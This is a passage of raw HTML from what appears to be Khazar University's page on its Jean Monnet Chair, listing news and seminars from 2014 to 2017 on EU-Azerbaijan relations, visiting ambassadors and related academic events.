The conference will bring together scholars and practitioners.</p>\r\n<p style=\"text-align:justify\">We regularly host a series of events, titled European Seminars, delivered&nbsp;by authoritative experts, practitioners, scholars and professors in EU matters to share their expertise with the Azerbaijani audience. The series are free and open to the academic community and the public.&nbsp;</p><p>Learn more about Jean Monnet and the history of the European Commissio<span style=\"background-color:#ffffff\">n </span><span style=\"background-color:#ffffff\"><a href=\"https://europa.eu/european-union/about-eu/history/founding-fathers_en#box_8\" target=\"_blank\">here</a></span><span style=\"background-color:#ffffff\">.</span>  </p>\r\n<p style=\"font-family:\'times new roman\', times, serif\"><strong style=\"font-size:x-large\"><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;text-align:center\"><strong style=\"font-size:x-large;color:#0033cc\">Jean Monnet Activities&nbsp;&amp;&nbsp;News:</strong></p><p style=\"font-family:\'times new roman\', times, serif\"><strong style=\"font-size:x-large;color:#0033cc\"><br></strong></p><p style=\"font-family:\'times new roman\', times, serif\"><strong>A thank you letter from&nbsp;the EU Delegation in Azerbaijan&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif\"><strong>5 June 2017</strong></p><p style=\"text-align:justify\">Assoc. Prof. Dr. Mukhtar Hajizada, Jean Monnet Chair, has received a thank you letter from Ambassador Malena Mard,&nbsp;Head of the EU Delegation in&nbsp;Azerbaijan following the successful completion of the Jean Monnet project.&nbsp;</p><p style=\"text-align:justify\">You can access the letter <a href=\"http://www.khazar.org/en/news/article/2331\" target=\"_blank\">here</a>.&nbsp;&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif\"><strong><br></strong></p><p style=\"font-family:\'times new roman\', times, serif\"><strong>A letter of appreciation from the&nbsp;National Erasmus+ Office in Azerbaijan &nbsp;<br></strong></p><p style=\"font-family:\'times new roman\', times, serif\"><strong>1 June 2017</strong></p><p style=\"text-align:justify\">Dr. Hajizada&nbsp;received a letter of appreciation from&nbsp;Mr. Parviz Baghirov, Head of the National Erasmus+ Office in Azerbaijan, upon the completion of the Jean Monnet project.&nbsp;</p><p style=\"text-align:justify\">You can find the content of the&nbsp;letter <a href=\"http://www.khazar.org/en/news/article/2331\" target=\"_blank\">here</a>.</p><p style=\"font-family:\'times new roman\', times, serif\"><strong><br></strong></p><p style=\"font-family:\'times new roman\', times, serif\"><strong>Jean Monnet seminar on the European and Global Relations of France <br></strong></p><p style=\"font-family:\'times new roman\', times, serif\"><strong>24 May 2017</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">The&nbsp;Department of Political Science and International Relations of Khazar University hosted H.E. Aurélia Bouchez, Ambassador of France to Azerbaijan, to discuss the foreign policy of France following the recent presidential elections.&nbsp;Ambassador Bouchez provided a general overview of the French political process, including the pre-election campaign of presidential candidates and their the foreign policy promises.&nbsp;Questions were asked about the European and Foreign Relations of France, the relations with the French Speaking Countries of the World and the French policy towards the peaceful resolution of the Nagorno Karabagh conflict.</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Following the seminar, Amb. Aurélia Bouchez met with Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees to discuss the challenges and opportunities for the interuniversity cooperation between the Azerbaijani and French institutions of higher education. For photos click <a href=\"http://www.khazar.org/en/news/article/2237\" target=\"_blank\">here</a>.</p>  <p style=\"font-family:\'times new roman\', times, serif\"><strong><br></strong></p><p style=\"font-family:\'times new roman\', times, serif\"><strong>Media Wrote about the&nbsp;</strong><strong>Jean Monnet Conference on the EU-Azerbaijan Relations</strong></p><p><strong>15 May 2017</strong></p><p>As mentioned earlier, the&nbsp;Department of Political Science and International Relations held a conference on the EU-Azerbaijan relations. The conference was mentioned by the <a href=\"https://azertag.az/xeber/Avropa_Ittifaqi_ve_Azerbaycan_munasibetlerine_hesr_olunmus_Jan_Monne_konfransi-1059265\" target=\"_blank\">Azerbaijan State News Agency</a> (AZERTAC),&nbsp;<a href=\"http://muallim.edu.az/content/?category=arxiv&amp;issue=17-2017&amp;content_id=30\" target=\"_blank\">Azerbaijan Muallimi</a>&nbsp;newspaper of the Azerbaijani Ministry of Education,&nbsp;<a href=\"https://az.trend.az/azerbaijan/politics/2753184.html\" target=\"_blank\">Trend News Agency</a>,&nbsp;<a href=\"http://eurasiadiary.com/az/news/society/138032-avropa-birliyi-ve-azerbaycan-munasibetlerine-hesr-olunmus-jan-monne-konfransi\" target=\"_blank\">Eurasia Diary</a>,&nbsp;&nbsp;and <a href=\"http://axar.az/news/planet/172104.html\" target=\"_blank\">others</a>.&nbsp;&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif\"><strong><br></strong></p><p style=\"font-family:\'times new roman\', times, serif\"><strong>Jean Monnet Conference on the EU-Azerbaijan Relations</strong></p><p><strong>10 May 2017</strong></p><p style=\"text-align:justify\">On May 10, 2017, the Department of Political Science and International Relations held a conference on the EU-Azerbaijan relations in the framework of Europe Day celebrations in cooperation with the European Union Delegation in Azerbaijan.</p><p style=\"text-align:justify\">Prof. Hamlet Isakhanli, the founder of Khazar University, the Chairman of its Board of Directors and Trustees, welcomed the conference participants and highlighted the international cooperation projects of the university.</p><p style=\"text-align:justify\">Mr. Denis Daniilidis, the First Counselor of the EU Delegation to Azerbaijan, stressed the positive trend in bilateral relations between the EU and Azerbaijan boosted by the visit of President Ilham Aliyev to Brussels in February 2017 and spoke about the launch of negotiations for a New Comprehensive Agreement. He informed the audience that the first draft text of negotiations originated from the Azerbaijani government which reflects the principles of differentiation and mutual respect between both sides. Mr. Daniilidis also welcomed the resumption of the inter-parliamentary cooperation between the European Parliament and Milli Mejlis of Azerbaijan.</p><p style=\"text-align:justify\">Mr. Orkhan Zeynalov, Head of Division for Cooperation with the EU at the Azerbaijani Ministry of Foreign Affairs, talked about the prospects of bilateral cooperation in areas such as education and science. Mr. Zeynalov also underscored the progress on the Southern Gas Corridor. In his capacity as the Key Negotiator for the part of the agreement on sectorial cooperation, Mr. Zeynalov informed that the first round of negotiation that took place in Baku in late April, 2017 was very constructive and reflected the political willingness of both sides to enhance cooperation in new areas.&nbsp;</p><p style=\"text-align:justify\">Ms. Vusala Gurbanova, Senior Adviser of the Department of Science, Higher and Secondary Education at the Ministry of Education, highly appreciated the support of EU for the internationalization of the higher education in Azerbaijan. She noted that Khazar University is particularly active in international cooperation projects. Ms. Gurbanova also informed the audience about the activities carried out to improve the university study programs.&nbsp;</p><p style=\"text-align:justify\">Dr. Mukhtar Hajizada, Jean Monnet Chair and the Head of the Department of Political Science and International Relations informed the participants about the EU-related courses and research at the department. He informed that the department regularly hosts a series of events, including the one titled European Seminars, delivered by authoritative experts, practitioners, scholars and professors in EU matters to share their expertise with the Azerbaijani audience. Dr. Hajizada highlighted the necessity of promoting the understanding between the communities in the EU and Azerbaijan and welcomed the activities carried out to improve the existing sufficient conditions for it. He mentioned the importance of the agreement between the European Union and the Republic of Azerbaijan on the facilitation of the issuance of visas which came into effect in 2014. He drew attention to the importance of EU`s increasing its influence and peaceful intentions in Azerbaijan. Unlike many countries in the neighborhood, there is no EU Resource and Information Centre in Azerbaijan. Therefore Dr. Hajizada mentioned the need for more quantitative interactions and more qualitative communications.</p><p style=\"text-align:justify\">The conference followed by the Model European Union simulation on “Negotiation and Decision Making in the European Council” by the students of departments of Political Science, International Relations and European Studies on energy cooperation and TAP project.</p><p>For photos <a href=\"http://www.khazar.org/en/news/article/2156\" target=\"_blank\">click here</a>.&nbsp;</p><p><strong><br></strong></p><p><strong>Dr. Hajizada Spoke at the International Conference on the Caucasus</strong></p><p><strong>27 April 2017</strong></p><p style=\"text-align:justify\">On April 27, 2017, Dr. Mukhtar Hajizada, Jean Monnet Chair and Head of the Department of Political Science and International Relations at Khazar University, participated in an international conference entitled “Challenges and Opportunities of Europeanisation in the Caucasus”. Dr. Hajizada delivered a presentation on the EU and the wider Black Sea neighborhood dealing with the security, institutionalization and the role of stakeholders. The conference took place at Yeditepe University in Istanbul, Turkey on 27-28 April, 2017.&nbsp;</p><p>For photos <a href=\"http://www.khazar.org/en/news/article/2134\" target=\"_blank\">click here</a>.</p><p><strong style=\"font-family:\'times new roman\', times, serif\"><br></strong></p><p><strong>Jean Monnet seminar on&nbsp;on Globalisation and the Fight Against Human Trafficking</strong></p><p><strong>26 April 2017</strong></p><p style=\"text-align:justify\">On 26 April, &nbsp;2017, &nbsp;&nbsp;Dr. Hassan Niknafs, the rector of Khazar University met with Mr. Dan Ianku, Ambassador Extraordinary and Plenipotentiary of Romania to Azerbaijan and Dr. Aurora Martin, the representative of National Agency of Romania on Equal Opportunities Between Women and Men. After the meeting, Dr. Martin gave a presentation on “Globalization and human trafficking”. &nbsp;The presentation was the latest event in the series of Jean Monnet European seminars held by the Department of Political Science and International Relations.</p><p style=\"text-align:justify\"><strong style=\"text-align:start\"><br></strong></p><p style=\"text-align:justify\"><strong style=\"text-align:start\">We&nbsp;had a discussion on the&nbsp;U.S. Presidential Elections and&nbsp;Consequences</strong></p><p><strong>24 October 2016</strong></p><p style=\"text-align:justify\">On&nbsp; October 24, 2016, the Department of Political Science and International Relations of Khazar University hosted Dr. James Thurber, Distinguished Professor of Government at American University, Washington D.C. to discuss the upcoming elections in the United States.&nbsp; Dr. Thurber provided a general overview of the U.S. political process, including the nomination of presidential candidates, the political conventions and the Electoral College.&nbsp; He also spoke about the important issues in domestic politics in the United States that gave rise to each of the current presidential nominees, Hillary Clinton and Donald Trump.&nbsp; Dr. Thurber explained that there is a high likelihood of a Clintonvictory due to potential votes in the Electoral College.&nbsp;Students asked a range of questions about how the U.S. elections will affect its relations with the NAFTA and European countries, human rights and world trade.&nbsp; Dr. Thurber also met with Dr. Mukhtar Hajizada, Department Chair, who thanked him for the gift of his book&nbsp;American Gridlock: The Sources, Character, and Impact of Political Polarization.</p><p>For photos&nbsp;<a href=\"http://www.khazar.org/en/news/article/1469\">click here</a>.</p>  <p style=\"font-family:\'times new roman\', times, serif\"><strong style=\"font-family:\'Times New Roman\'\"><br></strong></p><p style=\"font-family:\'times new roman\', times, serif\"><strong style=\"font-family:\'Times New Roman\'\">Jean Monnet Seminar on Integration Processes in Southeastern Asia and&nbsp;Asia&nbsp;Pacific</strong></p><p><strong>20 May 2016</strong></p>\r\n<p style=\"margin: 0in 0in 7.5pt; background: white; box-sizing: border-box; text-align: justify;\" \"=\"\">On May 20, 2016, Khazar University\'s Department of Political Science and International Relations hosted H. E. Roslan Abdul Rahman, Ambassador of Malaysia to Azerbaijan, to discuss the integration processes in Southeastern Asia and Asia Pacific from the Malaysian perspective. He provided a detailed background on Malaysia\'s foreign policy in the wider neighborhood and briefed the students about the cooperation with both the Association of Southeast Asian Nations (ASEAN) and the Asia-Pacific Economic Cooperation. After the seminar, Mr. Rahman had a meeting with the President of Khazar University, Dr. Hassan Niknafs.</p>\r\n<p>For photos&nbsp;<a href=\"http://www.khazar.org/en/news/article/1133\">click here</a>.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Jean Monnet Chair Makes Appearance on Education TV</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>9 April 2016</strong></p>\r\n<p style=\"margin: 0in 0in 7.5pt; background: white; box-sizing: border-box; text-align: justify;\" \"=\"\">On April 9, 2016, Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations at Khazar University, appeared as a guest on Education TV’s “Temel” (Foundation) broadcast and discussed the importance of academic integrity with Farhad Amirbeyov, Advisor to the Minister of Education.&nbsp;</p><p style=\"margin: 0in 0in 7.5pt; background: white; box-sizing: border-box;\" \"=\"\">The broadcast is available for viewing at the following link:&nbsp;<a href=\"https://www.youtube.com/watch?v=V_IPegcVNo8\"><strong>https://www.youtube.com/watch?v=V_IPegcVNo8</strong></a>&nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Jean Monnet seminar with the Norwegian Ambassador</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>1 April 2016</strong></p>\r\n<p style=\"margin: 0in 0in 7.5pt; background: white; box-sizing: border-box; text-align: justify;\" \"=\"\">On April 1, the Department of Political Science and International Relations hosted H. E. Bård Ivar Svendsen, Norwegian Ambassador to Azerbaijan, to discuss Norway\'s participation in regional integration processes. Before his lecture, he met with Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees.</p>\r\n<p style=\"margin: 0in 0in 7.5pt; background: white; box-sizing: border-box; text-align: justify;\" \"=\"\">He started his speech by providing historical background on the factors that shaped Norway\'s policies in the Nordic region. He then discussed relations between Norway and the European Union, which are defined through the agreement on the European Economic Area granting Norway, which is not a member state of the EU, access to the EU internal market. He also spoke about factors that have influenced Norway\'s unwillingness to become part of the EU, the Nordic-Baltic cooperation, the Arctic Council, and the Barents Cooperation.</p>\r\n<p style=\"margin: 0in 0in 7.5pt; background: white; box-sizing: border-box;\" \"=\"\">For photos&nbsp;<a href=\"http://www.khazar.org/en/news/article/869\">click here</a>.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Seminar on Dutch Policy on the Eastern Partnership</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>15 March 2016</strong></p>\r\n<p style=\"margin: 0in 0in 7.5pt; background: white; box-sizing: border-box; text-align: justify;\" \"=\"\">On March 15, 2016, the Department of Political Science and International Relations of Khazar University hosted Ambassador Dirk Jan Kop, Special Representative for Europe and Eastern Partnership at the Dutch Ministry of Foreign Affairs. He spoke about the cooperation between the EU and Azerbaijan in the framework of the Eastern Neighborhood Policy. He also let the audience know that the Dutch government welcomes the \"new readiness\" that he has observed in the country to take negotiations with the EU to a qualitatively new level. In the question and answer session, Amb. Kop answered questions concerning Russia\'s stance with regards to the former Soviet republics, the promotion of the Eurasian Union, and peculiarities of EU Association Agreements with non-EU countries. During the lecture, participants also discussed cooperation between the EU and Azerbaijan in the field of agriculture as well as the state of value-based questions in post-Soviet countries.&nbsp;&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Palestinian Ambassador to Azerbaijan Speaks at the Jean Monnet seminar</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>11 March 2016</strong></p>\r\n<p style=\"margin: 0in 0in 7.5pt; background: white; box-sizing: border-box; text-align: justify;\" \"=\"\">On March 11, 2016, the Department of Political Science and International Relations at Khazar University hosted H. E. Nasser Abdul Kareem, the Palestinian Ambassador to Azerbaijan, for a guest lecture about Palestine--European Union relations in the context of the European Neighborhood Policy. He spoke on the EU assistance to Palestinians, underlining the fact that the EU remains the largest provider of aid to Palestine to support its internally displaced people and the state structures. Mr. Kareem mentioned the EU-administered PEGASE program, which provides financial assistance to the Palestinian Authority, and the United Nations Relief and Works Agency for Palestine Refugees in the Near East (UNRWA), which provides services to Palestinians, who fled their homes following the 1948 conflict. Among other things, he informed the audience about the Interim Association Agreement on Trade and Cooperation that was signed between the EU and the Palestine Liberation Organization in 1997 with the aim of providing Palestinian industrial goods with duty-free access to the EU markets.&nbsp;&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Jean Monnet seminar&nbsp;with the US Ambassador on regional integration in North America&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>4 March 2016</strong></p>\r\n<p style=\"margin: 0in 0in 7.5pt; background: white; box-sizing: border-box; text-align: justify;\" \"=\"\">On March 4, the Department of Political Science and International Relations&nbsp;hosted the U.S. Ambassador to Azerbaijan, Robert Cekuta, to discuss U.S.-Azerbaijan relations in the context of international integration processes. Ambassador Cekuta presented his opinion on the most important aspects of the U.S. relationship with Azerbaijan including the security, democracy, and economy/energy fronts. He emphasized the importance of security, rule of law, and&nbsp;democracy for Azerbaijan’s long-term stability and prosperity. He expressed his sympathy for the 20 percent occupation of the Azerbaijani territories and conveyed his understanding of the security problems for Azerbaijan deriving from the occupation.&nbsp; Ambassador Cekuta also spoke about mutual interests, values, and goals in the US-Azerbaijan relations.&nbsp;&nbsp;</p>\r\n<p style=\"margin: 0in 0in 7.5pt; background: white; box-sizing: border-box; text-align: justify;\" \"=\"\">In the subsequent&nbsp;question and answer session moderated by Dr. Mukhtar Hajizada, Department Chair,&nbsp;questions were asked&nbsp;on various aspects of the US foreign policy as well as the U.S. engagement in the international integration processes&nbsp;and regional cooperation in North America. The reasons for the Minsk Group\'s ineffectiveness in resolving&nbsp;the Armenian-Azerbaijani Nagorno Karabagh conflict, the role of the U.S. as a Minsk Group co-chair, U.S.-China relations, the U.S. reaction to the Russian engagement in Ukraine, Georgia and Moldova, the instability in Afghanistan and Iraq, and&nbsp;the U.S. reaction to the Turkish policy in the Middle East were topics of interest in the&nbsp;questions asked by the student body of the Department of Political Science and International Relations.</p>\r\n<p style=\"margin: 0in 0in 7.5pt; background: white; box-sizing: border-box; text-align: justify;\" \"=\"\">Before the event, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, received the Ambassador&nbsp;Robert Cekuta as well as Public Affairs Officer Stephen Guice and Education Specialist at the Embassy Mrs.&nbsp;Ramina Murshudova. Professor Isaxanli informed the Ambassador about Khazar University\'s history of relationships&nbsp;with American institutions. He also presented two books to the ambassador – one discussing the establishment process of Khazar University and one on Azerbaijani language for foreigners at the beginning level.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Comprehensive Postgraduate Research Workshop in EU studies&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>1-2&nbsp;March 2016</strong></p>\r\n<p style=\"margin: 0in 0in 7.5pt; background: white; box-sizing: border-box; text-align: justify;\" \"=\"\">On March 1-2, the Department of Political Science and International Relations organized a postgraduate workshop for Master and PhD students at Khazar University. The workshop was specifically designed to help the&nbsp;young Azerbaijani&nbsp;scholars to develop their research skills in European studies&nbsp;and to assist them in the writing process. The event also aimed to bring together current postgraduate students both at the MA and PhD levels and to facilitate the exchange of opinions and knowledge among them. The workshop consisted of several sessions, each focusing on a particular stage of research, including research design, literature review, methods for data collection, and analysis. Particular attention was also paid to discussing major academic principles as well as academic integrity and avoiding plagiarism. During the final stage of the workshop, the students presented their research and obtained feedback pertaining to the writing-up of their master’s theses and doctoral dissertations.&nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Media wrote about the conference on&nbsp;“Azerbaijan-European Union Relations: Challenges and Opportunities”&nbsp;</strong></p>\r\n<p><strong>11 February 2016</strong></p>\r\n<p style=\"margin: 0in 0in 7.5pt; background: white; box-sizing: border-box; text-align: justify;\" \"=\"\">On February 11, a series of discussions on “Azerbaijan-European Union Relations: Challenges and Opportunities” were held in Brussels at European Policy Centre, a well-known European think tank. Dr. Mukhtar Hajizada, Jean Monnet Chair, made a presentation at the panel&nbsp;noting that Azerbaijan has become a major player in European cultural life in recent years through hosting large-scale events. Information about the event was published by AZERTAC and other media portals.&nbsp;</p><p style=\"margin: 0in 0in 7.5pt; background: white; box-sizing: border-box; text-align: justify;\" \"=\"\">Full text of the AZERTAC article is available at the following link:&nbsp;<a href=\"http://www.azerbaijan-news.az/index.php?mod=3&amp;id=90043\"><strong>http://www.azerbaijan-news.az/index.php?mod=3&amp;id=90043</strong></a></p>\r\n<p>&nbsp;</p>\r\n<p><strong>Jean Monnet Chair&nbsp;Analyzes EU-Azerbaijan relations at International Conference in Brussels</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>8&nbsp;February 2016</strong></p>\r\n<p style=\"text-align: justify;\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">On February 8, 2016,&nbsp;a conference on “Azerbaijan-EU relations: Challenges and opportunities” was held at the European Policy Centre in Brussels, Belgium. The event took place ahead of the visit of Federica Mogherini, the High Representative of the European Union for Foreign Affairs and Security Policy and Vice-President of the European Commission, to Azerbaijan.</p>\r\n<p style=\"text-align: justify;\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Dr. Mukhtar Hajizada, Jean Monnet Chair and the Head of Department of Political Science and International Relations at Khazar University, participated in the event. He made a presentation in which he mentioned the reasons placing Azerbaijan on the political, cultural and legal map of Europe and emphasized the role of the cultural and social activities carried by the Azerbaijani government in that regard. He highlighted the opportunities offered by the revised European Neighbourhood Policy which allows the EU and its partners to cooperate on areas of common interest –areas both sides feel comfortable dealing with, including increased cooperation in the sectors of trade, projects, economic development, and governance. Dr. Hajizada argued that the existing cooperation in the energy sector should not be taken for granted since the success of the European Union, an exemplary model of regional integration, became possible starting with cooperation in the energy sector following the end of the Second World War and the signing of peace agreements. He emphasized the necessity for the EU to step up its role in the Nagorno Karabagh peace process in trying to find a way to bring justice to the violations of international law and the grave breaches of international human rights law as a result of which hundreds of thousands of Azerbaijanis have suffered and continue suffering. Given the diverse representation of the audience, Dr. Hajizada suggested the establishment of EU Information and Resource Centers in Azerbaijan, which was welcomed by the EU and Azerbaijani officials.</p>\r\n<p style=\"text-align: justify;\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">The panel, moderated by Amanda Paul, analyzed Azerbaijani-EU relations and the prospects of future cooperation following the review of the European Neighbourhood Policy. Among the speakers were Dirk Schuebel, Head of the Division of Bilateral Relations with the Eastern Partnership Countries at the European External Action Service, Svante Cornell, Director of the Central Asia-Caucasus Institute and Silk Road Studies Programme at Johns Hopkins University, and Michel Ivor, Director of The Caucasus Interface.</p><p style=\"text-align: justify;\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><br></p><p style=\"text-align: justify;\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Roundtable Discussion on the Middle East</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>18 February 2016 &nbsp;</strong></p>\r\n<p style=\"text-align: justify;\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">On February 18, Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations at Khazar University, participated in a&nbsp;roundtable discussion dealing with questions of instability in the Middle East. The discussion was followed by&nbsp;a talk&nbsp;by&nbsp;Professor Elie Podeh from Hebrew University in Jerusalem who&nbsp;made a presentation on “Chaos and instability in the Middle East: The view from Jerusalem, Cairo, Riyadh and Washington”. Contributors to the roundtable discussion also&nbsp;included scholars of&nbsp;the Middle Eastern studies, Political Science and International Relations from&nbsp;Baku State University and Azerbaijan University of Languages. The event took place at the Heydar Aliyev Centre of Baku State University.</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><br></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Send-off Meeting for Graduate Students Going to Leiden University</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>13 January 2016</strong></p>\r\n<p style=\"text-align: justify;\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">On 13 January 2016, a send-off meeting with Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was held for the graduate students of Khazar University going on an exchange program to Leiden University (Netherlands). During the meeting, Prof. Isaxanli offered his words of encouragement and highlighted the benefits of student exchange programs available to the staff and students at Khazar University. Dr. Mukhtar Hajizada, Jean Monnet Chair and&nbsp;Head of the Department of Political Science and International Relations, reiterated the goals of this particular exchange program for the participating students and advised the students to fully benefit from the opportunities of their stay at their host university. PhD students Anar Rahimov and Azad Garibov, as well as master student Ramal Quluzade, spoke about their academic and personal goals in taking part in the exchange.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Jean Monnet seminar on Turkey and the two dimensions of the European Neighbourhood Policy</strong></p>\r\n<p><strong>1 December 2015</strong></p><p style=\"text-align:justify\"><span style=\"text-align:justify\">On December 1, 2015, Assoc. Prof. Dr. Burcu Gültekin Punsmann, a Senior Researcher at the Ankara Policy Center, was hosted within the Jean Monnet European seminar series of the Department of Political Science and International Relations. During her presentation, she focused on Turkey\'s role in the Mediterranean cooperation and, particularly, on how Turkey\'s EU candidacy affected the role of this country in the Euro-Mediterranean cooperation. She also discussed the impact of the slowdown of Turkey\'s accession process to the EU on democratization and talked about the problems for the regionalization in the wider Black Sea area. Among the issues she touched upon during her lecture was also the Turkish-Armenian problems, and the impact of the EU\'s role in the wider region, the popularity of Erdogan and this factor\'s influence on Turkish relations with Maghreb countries and the Middle East. Dr. Gültekin Punsmann also briefly reflected on the different approaches demonstrated by some of the European countries and Turkey to the current refugee crisis. After offering her insights on the perspectives for the Black Sea Synergy and the BSEC, the students and the participants including Dr. Farda Asadov, Director of the Center for Eurasian and Middle Eastern Studies, and Dr. Mukhtar Hajizada, Head of the Department, proceeded to discuss in details the related topics.</span></p><p style=\"text-align:justify\">&nbsp;</p><p><strong>Jean Monnet seminar on Regional Security Challenges in the Eastern European Neighbourhood</strong></p><p><strong>8 June 2015</strong></p><p style=\"text-align:justify\">On 8 June 2015, the Department of Political Science and International Relations hosted Dr. Carol Weaver, a lecturer in international relations and regional security at De Montfort University in the United Kingdom. Dr. Weaver delivered a presentation on Regional Security Challenges in the Eastern European Neighbourhood. She also discussed her research on the Black Sea region, arguing that the current events there demonstrate balanced multipolarity in action. Dr. Weaver reflected upon the fourth Eastern Partnership summit in Riga which took place on 21-22 May 2015. The outcomes of the summit were that no partner was given a membership perspective; that differentiation would apply to the various partners so that each country can decide on how they want to proceed in their relations with the European Union; and how the countries that do not want Association Agreements can cooperate bilaterally in all areas of mutual interest. Dr. Weaver talked about how Azerbaijan is a strategically important partner to the European Union in the region.</p><p style=\"text-align:justify\">The presentation was followed by a lively discussion with contributions being made by the participants including the university leadership, senior academics, and students as well as exchange students. Topics ranged from newer types of cross-border security challenges such as ecological problems, cyber threats, energy security and climate change, to the upcoming referendum on the United Kingdom’s membership of the European Union, recently announced after the conservative party won the general election.&nbsp;</p><p>&nbsp;</p><p><strong>Jean Monnet seminar with the&nbsp;Ambassador of France&nbsp;</strong></p><p><strong>30 April 2015</strong></p><p style=\"text-align:justify\">On April 30, 2015, the Department of Political Science and International Relations hosted H.E. Pascal Meunier, Ambassador Extraordinary and Plenipotentiary of France in Baku within the Jean Monnet European Seminar Series. The event was dedicated to Jean Monnet, who is widely called “The Father of Europe” by those who see him as the architect of the European Union.</p><p style=\"text-align:justify\">Ambassador Meunier mentioned that Jean Monnet’s ideas and actions carry great clout not only in France, where he was an actor in economic life but also far beyond French borders.</p><p style=\"text-align:justify\">Following the presentation, Dr. Mukhtar Hajizada, Jean Monnet Chair at Khazar University, conducted a discussion on Jean Monnet’s role in national economic planning in France, as an outstanding leader in the postwar movement in Europe and as a craftsman of peace and economic prosperity on the old continent.</p><p style=\"text-align:justify\">After the meeting, Ambassador Meunier met with Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, and talked about opportunities for future cooperation between the Embassy and University.</p><p>&nbsp;</p><p><strong>Jean Monnet Lecture on the External Relations of the European Union</strong></p><p><strong>5 February 2015</strong></p><p style=\"text-align:justify\">Dr. Mukhtar Hajizada, Jean Monnet Chair of European Integration and Head of the Department of Political Science and International Relations,&nbsp;gave a lecture on the External Relations of the European Union (EU). This lecture was the first installment of the “The EU as a Global Player” – a module taught with the support of the Erasmus+ program of the EU with an aim to deepen teaching and research in European studies.</p><p>&nbsp;</p><p><img src=\"/files/admin/16_01_22_4.0.gif\" style=\"width:150px;height:100px;margin:7px;float:left\"><img src=\"http://www.khazar.org/files/admin/16_01_22_1.0.gif\" style=\"width:150px;height:100px;margin:7px;float:left\"><img src=\"/files/admin/16_01_22_3.0.gif\" style=\"width:150px;height:100px;margin:7px;float:left\"><br></p><p><br></p><p><br></p><p><br></p><p><strong><br></strong></p><p><strong>Jean Monnet Seminar on EU\'s Energy Security Strategy</strong></p><p><strong>26 November 2014</strong></p><p style=\"text-align:justify\">The Department of Political Science and International Relations at Khazar University hosted a seminar on the EU\'s Energy Security Strategy after the Ukrainian Crisis. The talk was delivered by Prof. Nurşin Ateşoğlu Güney, Head of the Political Science and International Relations Department at Yildiz Technical University. Prof. Güney talked about the future of the energy roadmap in the aftermath of the Ukrainian crisis. She focused on the possibility of alternative means of acquiring energy supplies to meet the energy demand of the Union. She argued that additional gas supplies to the EU will not be attainable before 2020. Therefore, she maintained that the Union should focus on reducing the demand side of the European energy equation.</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><img src=\"/files/admin/16_01_22_12934.gif\" style=\"width:150px;height:99px;margin:7px;float:left\"><img src=\"/files/admin/16_01_22_12937.gif\" style=\"width:150px;height:99px;margin:7px;float:left\"><img src=\"/files/admin/16_01_22_12933.gif\" style=\"width:150px;height:99px;margin:7px;float:left\"><img src=\"/files/admin/16_01_22_12938.gif\" style=\"width:150px;height:99px;margin:7px;float:left\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong style=\"text-align:start\"><br></strong></p><p style=\"text-align:justify\"><strong style=\"text-align:start\">Jean Monnet Seminar on Policy Implementation in the 